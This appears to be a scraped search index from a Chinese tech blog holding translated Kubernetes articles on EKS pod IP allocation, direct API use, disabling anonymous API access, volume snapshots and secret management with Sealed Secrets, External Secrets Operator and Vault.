现在支持范围而不是单个 IP 地址。 如果以前你可以拥有 10 个私有 IP 地址,那么现在你可以拥有 10 个 IP 地址槽。 地址槽有多大呢? 默认情况下,16 个 IP 地址。 使用 10 个槽,你最多可以拥有 160 个 IP 地址。 这是一个相当显着的变化! 让我们看一个例子。 使用 m5.large 实例,你有 3 个 ENI,每个有 10 个插槽(或 IP)。 由于为 ENI 保留了一个 IP,因此你还剩下 9 个插槽。 每个插槽是 16 个 IP,所以是 9*16=144 个 IP。 由于有 3 个 ENI,那就是 144x3=432 个 IP。 你现在最多可以拥有 432 个 Pod(之前是 27 个)。 AWS-CNI 支持插槽并将 Pod 的最大数量限制为 110 或 250,因此你最多可以在 m5.large 中拥有 432 个 pod 。 还值得指出的是,这不是默认启用的——即使在较新的集群中也是如此。 可能是因为只有 nitro 实例支持它。 分配插槽非常棒,直到你意识到 CNI 一次提供 16 个 IP 地址,而不是仅提供 1 个,这具有以下含义: 更快地耗尽 IP 空间。 碎片化。 让我们回顾一下。 一个 pod 被调度到一个节点。 AWS-CNI 分配 1 个 slot(16 个 IP),pod 使用一个。 现在想象一下有 5 个节点和一个包含 5 个副本的部署。 会发生什么? Kubernetes 调度程序更喜欢将 pod 分布在整个集群中。 很可能,每个节点接收 1 个 pod,AWS-CNI 分配 1 个插槽(16 个 IP)。 你从你的网络分配了 5*15=75 个 IP,但仅使用了 5 个。 但还有更多。 插槽分配一个连续的 IP 地址块。 如果分配了一个新 IP(例如创建了一个节点),你可能会遇到碎片问题。 怎么解决这些问题呢? 你可以为 EKS 分配一个次级 CIDR。 你可以在子网内保留 IP 空间供插槽独占使用。 相关链接: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI https://aws.amazon.com/blogs/containers/amazon-vpc-cni-increases-pods-per-node-limits/ https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-prefix-eni.html#ec2-prefix-basics ","date":"2023-03-23","objectID":"/ip-and-pod-allocations-in-eks/:0:0","tags":["Kubernetes"],"title":"EKS 集群中的 IP 地址分配问题","uri":"/ip-and-pod-allocations-in-eks/"},{"categories":["Kubernetes"],"content":"使用 Kubernetes API 可以让您控制集群的各个方面。","date":"2023-03-22","objectID":"/working-with-k8s-api/","tags":["Kubernetes"],"title":"使用 Kubernetes API","uri":"/working-with-k8s-api/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://itnext.io/working-with-the-kubernetes-api-587bc5941992 Kubernetes 公开了一个强大的 API,可让您控制集群的各个方面。 大多数时候,它隐藏在 kubectl 后面,但没有人会阻止您直接使用它。 在本文中,您将学习如何使用 curl 或者您喜欢的编程语言向 Kubernetes API 发出请求。 但首先,让我们回顾一下 Kubernetes API 的工作原理。 当您键入命令时,kubectl: 客户端校验请求。 在文件上生成 YAML(例如kubectl run)。 构造运行时对象。 此时,kubectl 还没有向集群发出任何请求。 下一步,它查询当前的 API 服务器并发现所有可用的 API 端点。 最后,kubectl 使用运行时对象和端点来协商正确的 API 调用。 如果您的资源是 Pod,kubectl 会读取 apiVersion 和 kind 字段并确保它们在集群中可用和受支持。 然后它发送请求。 理解在 Kubernetes 中 API 是分组的这很重要的。 为了进一步隔离多个版本,资源被版本化。 现在您已经掌握了基础知识,让我们来看一个示例。 您可以使用 kubectl proxy 启动到 API 服务器的本地隧道。 但是如何检索所有 deployments 呢? Deployments 属于 apps 组并且有一个 v1 版本。 您可以列出它们: curl localhost:8001/apis/apps/v1/namespaces/{namespace}/deployments 列出所有正在运行的 pod 怎么样? Pod 属于 \"\"(空)组并且有一个 v1 版本。 您可以列出它们: curl localhost:8001/api/v1/namespaces/{namespace}/pods group 为空看起来有点奇怪——还有更多例外吗? 好吧,现实是有一种更简单的方法来构建 URL。 我通常使用 Kubernetes API 参考文档,因为路径都整齐地列出了。 让我们看另一个示例,但这次是在 API 参考的帮助下。 如果你想收到 pod 更改的通知怎么办? 在 API 中称为 watch,命令为: GET /api/v1/watch/namespaces/{namespace}/pods/{name} 太好了,但这一切有什么意义呢? 直接访问 API 允许您构建脚本来自动执行任务。 或者您可以构建自己的 kubernetes 扩展。 我来给你展示。 这是一个约 130 行 Javascript 的小型 kubernetes 仪表板。 它调用了 2 个 API: 列出所有 pod watch pod 的变化 其余代码用于对节点进行分组和显示。 在 Kubernetes 中,将列出和更新资源结合起来非常普遍,以至于它成为一种称为 shared informer 的模式。 Javascript/Typescript API 有一个很好的 shared informer 的例子. 但它只是 2 个 GET 请求(和一些缓存)的奇特名称。 API 不止于读取资源。 您还可以创建新资源并修改现有资源。 例如,您可以修改部署的副本: PATCH /apis/apps/v1/namespaces/{namespace}/deployments/{name} 为了进行实验,我建造了一些非常规的东西。 xlskubectl 是我尝试使用 Excel/Google 表格控制 kubernetes 集群。 该代码与上述 Javascript 代码非常相似: 它使用 shared informer 它轮询 google sheets 的更新 它将所有内容呈现为单元格 这个示例是一个好主意吗? 可能并不是。 希望它能帮助您实现直接使用 Kubernetes API 的潜力。 这些代码都不是用 Go 编写的——您可以使用任何编程语言去调用 Kubernetes API。 ","date":"2023-03-22","objectID":"/working-with-k8s-api/:0:0","tags":["Kubernetes"],"title":"使用 Kubernetes API","uri":"/working-with-k8s-api/"},{"categories":["Kubernetes"],"content":"谈谈 Kubernetes 的匿名访问","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://raesene.github.io/blog/2023/03/18/lets-talk-about-anonymous-access-to-Kubernetes/ 本周有一些关于 Dero Cryptojacking operation 的文章,其中关于攻击者所实施的细节之一引起了我的注意。有人提到他们正在攻击允许匿名访问 Kubernetes API 的集群。究竟如何以及为什么可以匿名访问 Kubernetes 是一个有趣的话题,涉及几个不同的领域,所以我想我会写一些关于它的内容。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:0:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"匿名访问如何工作? 集群是否可以进行匿名访问由 kube-apiserver 组件的标志 --anonymous-auth 控制,其默认为true,因此如果您在传递给服务器的参数列表中没有看到它,那么匿名访问将被启用。 然而,仅凭此项设置并不能给攻击者提供访问集群的很多权限,因为它只涵盖了请求在被处理之前通过的三个步骤之一(Authentication -\u003e Authorization -\u003e Admission Control )。正如 Kubernetes 控制访问 的文档中所示,在身份认证后,请求还必须经过授权和准入控制(认证 -\u003e 授权 -\u003e 准入控制)。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:1:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"授权和匿名访问 因此下一步是请求需要匹配授权策略(通常是 RBAC,但也可能是其他策略)。当然,为了做到这一点,请求必须分配一个身份标识,这个时候 system:anonymous 和 system:unauthenticated 权限组就派上了用场。这些身份标识被分配给任何没有有效身份验证令牌的请求,并用于匹配授权政策。 您可以通过查看Kubeadm 集群上的 system:public-info-viewer clusterrolebinding 来了解类似的工作原理。 apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: annotations: rbac.authorization.kubernetes.io/autoupdate: \"true\" labels: kubernetes.io/bootstrapping: rbac-defaults name: system:public-info-viewer roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: system:public-info-viewer subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: system:authenticated - apiGroup: rbac.authorization.k8s.io kind: Group name: system:unauthenticated ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:2:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"匿名访问有多常见 现在我们知道了匿名访问是如何工作的,问题就变成了“这有多常见?”。答案是大多数主要发行版都会默认启用匿名访问,并通常通过 system:public-info-viewer clusterrole提供一些对 /version 以及其他几个端点的访问权限。 要了解这适用于多少集群,我们可以使用 censys 或 shodan 来查找返回版本信息的集群。例如,这个 censys 查询 显示返回版本信息的主机超过一百万,因此我们可以说这是一个相当常见的配置。 一个更严重的也更符合 dero 文章中提出的要点是,这些集群中有多少允许攻击者在其中创建工作负载。虽然您无法从 Censys 获得确切的信息,但它确实有一个显示集群的查询,允许匿名用户枚举集群中的 pod,在撰写本文时显示 302 个集群节点。我猜其中一些/大部分是蜜罐,但也可能有几个就是高风险的易受攻击的集群。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:3:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"禁用匿名访问 在非托管集群(例如 Rancher、Kubespray、Kubeadm)上,您可以通过将标志 --anonymous-auth=false 传递给 kube-apiserver 组件来禁用匿名访问。在托管集群(例如 EKS、GKE、AKS)上,您不能这样做,但是您可以删除任何允许匿名用户执行操作的 RBAC 规则。例如,在 Kubeadm 集群上,您可以删除system:public-info-viewer clusterrolebinding和system:public-info-viewer clusterrole,以有效阻止匿名用户从集群获取信息。 当然,如果您有任何依赖这些端点的应用程序(例如健康检查),它们就会中断,因此测试您对集群所做的任何更改非常重要。这里的一种选择是查看您的审计日志,看看是否有任何匿名请求向 API 服务器发出。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:4:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"结论 允许某种级别的匿名访问是 Kubernetes 中的常见默认设置。这本身并不是一个很大的安全问题,但它确实意味着在许多配置中,阻止攻击者破坏您的集群的唯一方法是 RBAC 规则,因此一个错误可能会导致重大问题,尤其是当您的集群暴露在互联网上时。 ","date":"2023-03-21","objectID":"/anonymous-access-to-k8s/:5:0","tags":["Kubernetes"],"title":"谈谈 Kubernetes 的匿名访问","uri":"/anonymous-access-to-k8s/"},{"categories":["Kubernetes"],"content":"Kubernetes snapshots 快照是什么以及如何使用快照?","date":"2023-03-20","objectID":"/k8s-snapshots-usage/","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://blog.palark.com/kubernetes-snaphots-usage/ 随着 Kubernetes 中快照控制器的引入,现在可以为支持此功能的 CSI 驱动程序和云提供商创建快照。 API 是通用的且独立于供应商,这对于 Kubernetes 来说是典型的,因此我们可以探索它而无需深入了解特定实现的细节。让我们仔细看看快照,看看它们如何使 Kubernetes 用户受益。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:0:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"介绍 首先,让我们澄清什么是快照。快照是文件系统在特定时间点的状态。您可以保存它并在以后使用它来恢复该特定状态。创建快照的过程几乎是瞬时的。创建快照后,对原始文件系统的所有更改都将写入不同的块。 由于快照数据与原始数据存储在同一位置,因此快照不能替代备份。同时,基于快照而不是实时数据的备份更加一致。这是因为在创建快照时保证所有数据都是最新的。 必须安装 snapshot-controller (所有 CSI driver 的通用组件),并且必须在 Kubernetes 集群中定义以下 CRD 才能使用快照功能: VolumeSnapshotClass – 相当于快照的 StorageClass; VolumeSnapshotContent – 相当于快照的 PV; VolumeSnapshot – 相当于快照的 PVC。 最重要的是,CSI 驱动程序必须支持快照创建并具有相关的 csi-snapshotter controller。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:1:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"快照在 Kubernetes 中是如何工作的? 他们运作背后的逻辑很简单。有几个实体;VolumeSnapshotClass 描述快照创建的参数,例如 CSI driver。您还可以在那里指定其他设置,例如,快照是否应该是增量的以及它们应该存储在哪里。 创建 VolumeSnapshot 时,您必须指定将为其创建快照的 PersistentVolumeClaim。 拍摄快照时,CSI 驱动程序会在集群中创建一个 VolumeSnapshotContent 资源并设置其参数(通常是资源 ID)。 接下来,快照控制器绑定 VolumeSnapshot 到 VolumeSnapshotContent(就像 PV 和 PVC 一样)。 创建新的 PersistentVolume 时,您可以将先前创建的 VolumeSnapshot 设置为 dataSource 以使用其数据。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:2:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"配置 VolumeSnapshotClass 允许您指定各种 VolumeSnapshot 属性,例如 CSI 驱动程序名称和其他云提供商/数据存储相关参数。下面提供了几个 VolumeSnapshotClass 资源定义示例的链接 : OpenStack vSphere AWS Azure LINSTOR GCP CephFS Ceph RBD 创建 VolumeSnapshotClass 后 ,您就可以开始拍摄快照了。让我们来看看一些典型的用例。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:3:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"案例一:PVC templates 假设我们想要一些包含数据的 PVC 模板,并在需要时克隆它。在以下情况下这可能会派上用场: 使用数据快速创建开发环境; 在不同节点上使用多个 Pod 同时处理数据。 这背后的魔力是创建一个标准 PVC,用你想要的数据填充它,然后创建另一个 PVC 以原始集作为其源: --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-worker1 spec: storageClassName: linstor-ssd-lvmthin-r2 dataSource: name: pvc-template kind: PersistentVolumeClaim accessModes: - ReadWriteOnce resources: requests: storage: 10Gi 您将获得包含所有数据的原始 PVC 的完整克隆,您可以立即使用。快照机制在这里是完全透明的,所以我们甚至不必使用上述任何资源。 ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:4:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"案例二:用于测试的快照 此案例展示了如何在不干扰生产的情况下安全地对实时数据进行数据库迁移建模。 我们必须克隆我们的应用程序使用的现有 PVC(就像在上面的示例中一样)以及具有克隆 PVC 的新应用程序版本来测试升级。如果遇到问题,您可以创建一个新的克隆并重试。 测试完成后,可以将新版本的应用程序部署到生产环境中。但首先,创建一个 mypvc-before-upgrade 快照,这样您就可以随时恢复到升级前的状态。快照是使用 VolumeSnapshots 资源创建的。在其中指定创建快照的目标 PVC: apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshot metadata: name: mypvc-before-upgrade spec: volumeSnapshotClassName: linstor source: persistentVolumeClaimName: mypvc mypvc-before-upgrade 切换到新版本后,您始终可以通过将快照指定为 PVC 源来恢复到升级前的状态: apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mypvc spec: storageClassName: linstor-ssd-lvmthin-r2 dataSource: name: mypvc-before-upgrade kind: VolumeSnapshot apiGroup: snapshot.storage.k8s.io accessModes: - ReadWriteOnce resources: requests: storage: 10Gi ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:5:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"案例三:使用快照做一致性备份 快照对于在运行环境中创建一致的备份是不可或缺的。没有它们,就没有办法在不先暂停应用程序的情况下进行 PVC 备份。 如果您尝试在应用程序运行时复制整个卷,则很可能会覆盖其中的某些部分。为避免这种情况,您可以拍摄快照并将其用于备份。 有多种工具可用于在 Kubernetes 中进行备份,这些工具尊重应用程序的逻辑且/或使用快照机制。其中一个工具 Velero 允许您自动使用快照,安排额外的挂钩将数据重置到磁盘,并暂停/恢复应用程序以获得更好的备份一致性。 同时,一些供应商提供了内置的备份功能。例如,LINSTOR 允许您自动将快照上传到远程 S3 服务器,并支持完整和增量备份。 为了从此功能中受益,您需要创建一个专用的 VolumeSnapshotClass 包含访问远程 S3 服务器所需的所有参数: --- kind: VolumeSnapshotClass apiVersion: snapshot.storage.k8s.io/v1 metadata: name: linstor-minio driver: linstor.csi.linbit.com deletionPolicy: Retain parameters: snap.linstor.csi.linbit.com/type: S3 snap.linstor.csi.linbit.com/remote-name: minio snap.linstor.csi.linbit.com/allow-incremental: \"false\" snap.linstor.csi.linbit.com/s3-bucket: foo snap.linstor.csi.linbit.com/s3-endpoint: XX.XXX.XX.XXX.nip.io snap.linstor.csi.linbit.com/s3-signing-region: minio snap.linstor.csi.linbit.com/s3-use-path-style: \"true\" csi.storage.k8s.io/snapshotter-secret-name: linstor-minio csi.storage.k8s.io/snapshotter-secret-namespace: minio --- kind: Secret apiVersion: v1 metadata: name: linstor-minio namespace: minio immutable: true type: linstor.csi.linbit.com/s3-credentials.v1 stringData: access-key: minio secret-key: minio123 新创建的快照现在将被推送到远程 S3 服务器: --- apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshot metadata: name: mydb-backup1 spec: volumeSnapshotClassName: linstor-minio source: persistentVolumeClaimName: db-data 有趣的是,您可以在不同的 Kubernetes 集群中使用它们。为此,除了 VolumeSnapshotClass 之外,您还必须定义 VolumeSnapshotContent 和 VolumeSnapshot: --- apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshotContent metadata: name: example-backup-from-s3 spec: deletionPolicy: Delete driver: linstor.csi.linbit.com source: snapshotHandle: snapshot-0a829b3f-9e4a-4c4e-849b-2a22c4a3449a volumeSnapshotClassName: linstor-minio volumeSnapshotRef: apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshot name: example-backup-from-s3 namespace: new-cluster --- apiVersion: snapshot.storage.k8s.io/v1 kind: VolumeSnapshot metadata: name: example-backup-from-s3 spec: source: volumeSnapshotContentName: example-backup-from-s3 volumeSnapshotClassName: linstor-minio 请注意,您必须在 VolumeSnapshotContent 中通过 snapshotHandle 参数指定存储系统的快照 ID。 现在您可以使用备份快照作为数据源来创建新的 PVC: apiVersion: v1 kind: PersistentVolumeClaim metadata: name: restored-data namespace: new-cluster spec: storageClassName: linstor-ssd-lvmthin-r2 dataSource: name: example-backup-from-s3 kind: VolumeSnapshot apiGroup: snapshot.storage.k8s.io accessModes: - ReadWriteOnce resources: requests: storage: 10Gi ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:6:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"结论 借助快照,您可以通过创建一致的备份和克隆卷来更有效地利用您的存储解决方案。它们还允许您避免在不必要时复制数据。这是快照,让您的生活更轻松、更美好! ","date":"2023-03-20","objectID":"/k8s-snapshots-usage/:7:0","tags":["Kubernetes"],"title":"Kubernetes snapshots 快照是什么以及如何使用快照?","uri":"/k8s-snapshots-usage/"},{"categories":["Kubernetes"],"content":"Kubernetes 的 secret 并不是真正的 secret","date":"2023-03-19","objectID":"/k8s-secret-management/","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://auth0.com/blog/kubernetes-secrets-management/#Sealed-Secrets ","date":"2023-03-19","objectID":"/k8s-secret-management/:0:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"引言 Kubernetes 已经成为现代软件基础设施中不可或缺的一部分。因此,管理 Kubernetes 上的敏感数据也是现代软件工程的一个重要方面,这样您就可以将安全性重新置于 DevSecOps 中。Kubernetes 提供了一种使用 Secret 对象存储敏感数据的方法。虽然总比没有好,但它并不是真正的加密,因为它只是 base64 编码的字符串,任何有权访问集群或代码的人都可以对其进行解码。 注意: 默认情况下,Kubernetes Secrets 未加密存储在 API 服务器的底层数据存储 (etcd) 中。具有 API 访问权限的任何人都可以检索或修改 Secret,任何具有 etcd 访问权限的人也可以。此外,任何有权在命名空间中创建 Pod 的人都可以使用该访问权限来读取该命名空间中的任何 Secret;这包括间接访问,例如创建 Deployment 的能力。— Kubernetes 文档 使用正确的 RBAC 配置和保护 API 服务器可以解决从集群读取 secret 的问题,了解有关 RBAC 和集群 API 安全性的更多信息请查看如何使用最佳实践保护您的 Kubernetes 集群。保护源代码中的的 secret 是更大的问题。每个有权访问包含这些 secret 的存储库的人也可以解码它们。这使得在 Git 中管理 Kubernetes secret 变得非常棘手。 让我们看看如何使用更安全的方式设置 secret : Sealed Secrets External Secrets Operator Secrets Store CSI driver 您需要一个 Kubernetes 集群来运行示例。我使用 k3d 创建了一个本地集群。您也可以使用 kind 或 minikube 。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:1:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"Sealed Secrets Sealed Secrets 是一个开源的 Kubernetes 控制器和来自 Bitnami 的客户端 CLI 工具,旨在使用非对称密码加密解决“在 Git 中存储 secret ”问题的一部分。具有 RBAC 配置的 Sealed Secrets 防止非管理员读取 secret 是解决整个问题的绝佳解决方案。 它的工作原理如下: 使用公钥和 kubeseal CLI 在开发人员机器上加密 secret 。这会将加密的 secret 编码为 Kubernetes 自定义资源定义 (CRD)。 将 CRD 部署到目标集群。 Sealed Secret 控制器使用目标集群上的私钥对机密进行解密,以生成标准的 Kubernetes secret。 私钥仅供集群上的 Sealed Secrets 控制器使用,公钥可供开发人员使用。这样,只有集群才能解密机密,而开发人员只能对其进行加密。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"优点 支持模板定义,以便可以将元数据添加到未加密的 secret 中。例如,您可以使用模板定义为未加密的 secret 添加标签和注释。 未加密的 secret 将由加密的 secret CRD 拥有,并在加密的 secret 更新时更新。 默认情况下,证书每 30 天轮换一次,并且可以自定义。 secret 使用每个集群、命名空间和 secret 组合(私钥+命名空间名称+ secret 名称)的唯一密钥进行加密,防止解密中出现任何漏洞。在加密过程中,可以使用 strict, namespace-wide, cluster-wide 来配置范围。 可用于管理集群中的现有 secret。 具有 VSCode 扩展,使其更易于使用。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:1","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"缺点 由于它将加密的 secret 解密为常规 secret ,如果您有权访问集群和命名空间,您仍然可以解码它们。 需要为每个集群环境重新加密,因为密钥对对于每个集群都是唯一的。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:2","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"安装 在集群上安装 controller,在本地机器上安装 CLI。 从 release 页面下载 controller.yaml。 执行 kubectl apply -f controller.yaml 将 controller 部署到集群中。控制器将安装到 kube-system 命名空间下。 安装 CLI,通过 brew install kubeseal 安装,或者从 release 页面下载。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:3","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"使用 让我们创建一个 sealed secret 。 创建一个 secret,通过命令 kubectl create secret 或者编写 yaml 文件,如下所示: echo -n secretvalue | kubectl create secret generic mysecret \\ --dry-run=client \\ --from-file=foo=/dev/stdin -o yaml \u003e my-secret.yaml 这将产生一个如下所示的 secret 定义; # my-secret.yaml apiVersion: v1 data: foo: c2VjcmV0dmFsdWU= kind: Secret metadata: creationTimestamp: null name: mysecret 使用 kubeseal CLI 加密 secret。这将使用从服务器获取的公钥加密 secret 并生成加密的 secret 定义。现在可以丢弃 my-secret.yaml 文件。您也可以下载公钥并在本地离线使用。 kubeseal --format yaml \u003c my-secret.yaml \u003e my-sealed-secret.yaml 这将产生一个加密的 secret 定义,my-sealed-secret.yaml,如下所示; # my-sealed-secret.yaml apiVersion: bitnami.com/v1alpha1 kind: SealedSecret metadata: creationTimestamp: null name: mysecret namespace: default spec: encryptedData: foo: AgA6a4AGzd7qzR8mTPqTPFNor8tTtT5...== template: metadata: creationTimestamp: null name: mysecret namespace: default 此文件可以安全地提交到 Git 或与其他开发人员共享。 最后,您可以将其部署到要解封的集群中。 kubectl apply -f my-sealed-secret.yaml 现在,您可以在集群中看到未加密的 secret 。 kubectl describe secret mysecret 您可以像使用任何其他 Kubernetes 密钥一样在部署中使用此密钥。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:2:4","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"External Secrets Operator Sealed Secrets 是保护 secret 的方式之一,但除此之外还有更好的方法。使用 External Secrets Operator (ESO) 和外部 secret 管理系统,如 HashiCorp Vault、AWS Secrets Manager、Google Secrets Manager 或 Azure Key Vault。虽然设置起来有点复杂,但如果您使用云提供商来托管您的 Kubernetes 集群,这是一种更好的方法。ESO 支持许多这样的 secret 管理器并监视外部 secret 存储的变化,并使 Kubernetes secret 保持同步。 ESO 提供了四个 CRD 来管理 secret。ExternalSecret 和 ClusterExternalSecret CRD 定义需要获取哪些数据以及如何转换这些数据。SecretStore 和 ClusterSecretStore CRD 定义了与外部 secret 存储的连接细节。Cluster 前缀的 CRD 表示作用范围是集群。 它的工作原理如下; 创建 SecretStoreCRD 以定义与外部机密存储的连接详细信息。 在外部 secret 存储中创建 secret 。 创建一个 ExternalSecretCRD 来定义需要从外部 secret 存储中获取的数据。 将 CRD 部署到目标集群。 ESO 控制器将从外部 secret 存储中获取数据并创建 Kubernetes secret 。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"优点 secret 存储在安全的外部 secret 管理器中,而不是代码存储库中。 使 secret 与外部 secret 管理器保持同步。 与许多外部 secret 管理者合作。 可以在同一个集群中使用多个 secret 存储。 提供用于监控的 Prometheus 指标。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:1","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"缺点 需要精心设置才能使用。 创建一个 Kubernetes secret 对象,如果您有权访问集群和命名空间,则可以对其进行解码。 依靠外部 secret 管理器及其访问策略来确保安全。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:2","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"安装 可以使用以下命令通过 Helm 安装 ESO : helm repo add external-secrets https://charts.external-secrets.io helm install external-secrets \\ external-secrets/external-secrets \\ --namespace external-secrets \\ --create-namespace 如果您想在 Helm release 中包含 ESO,请将 --set installCRDs=true 标志添加到上述命令中。 让我们看看如何将 ESO 与不同的 secret 管理器一起使用。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:3","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"使用 HashiCorp Vault HashiCorp Vault 是一个流行的 secret 管理器,提供不同的 secret 引擎。ESO 只能与 Vault 提供的 KV Secrets Engine 一起使用。Vault 在 HashiCorp 云平台 (HCP) 上提供了一个您可以自行管理的免费开源版本和一个带有免费等级的托管版本。 确保您在本地 Vault 实例或 HCP cloud 中设置了键值 secret 存储。您还可以使用 Vault Helm chart 将 Vault 部署到 Kubernetes 集群。 创建一个新的 SecretStore CRD,vault-backend.yaml,以定义与 Vault 的连接详细信息。 # vault-backend.yaml apiVersion: external-secrets.io/v1beta1 kind: SecretStore metadata: name: vault-backend spec: provider: vault: server: 'YOUR_VAULT_ADDRESS' path: 'secret' version: 'v2' namespace: 'admin' # required for HCP Vault auth: # points to a secret that contains a vault token # https://www.vaultproject.io/docs/auth/token tokenSecretRef: name: 'vault-token' key: 'token' 创建一个 secret 资源来保存 Vault token。使用具有对 Vault KV 存储中的 secret/ 路径具有读取权限的策略的令牌。 kubectl create secret generic vault-token \\ --dry-run=client \\ --from-literal=token=YOUR_VAULT_TOKEN 在 Vault 中创建一个 secret 。如果您使用的是 Vault CLI,则可以使用以下命令创建一个 secret 。确保您使用适当的策略从 CLI 登录到 vault 实例。 vault kv put secret/mysecret my-value=supersecret 创建一个 ExternalSecret CRD 来定义需要从 Vault 中获取的数据。 # vault-secret.yaml apiVersion: external-secrets.io/v1beta1 kind: ExternalSecret metadata: name: vault-example spec: refreshInterval: '15s' secretStoreRef: name: vault-backend kind: SecretStore target: name: vault-example-sync data: - secretKey: secret-from-vault remoteRef: key: secret/mysecret property: my-value 将上述 CRD 应用到集群,它应该使用从 Vault 获取的数据创建一个名为 vault-example-sync 的 Kubernetes secret。 kubectl apply -f vault-backend.yaml kubectl apply -f vault-secret.yaml 您可以使用 kubectl describe 命令查看集群中的 secret。 kubectl describe secret vault-example-sync # output should have the below data Name: vault-example-sync Namespace: default Labels: \u003cnone\u003e Annotations: reconcile.external-secrets.io/data-hash: ... Type: Opaque Data ==== secret-from-vault: 16 bytes 如果您在创建 secret 时遇到问题,请检查 ExternalSecret 资源描述输出的 events 部分。 kubectl describe externalsecret vault-example 如果您看到权限错误,请确保使用具有正确策略的令牌。 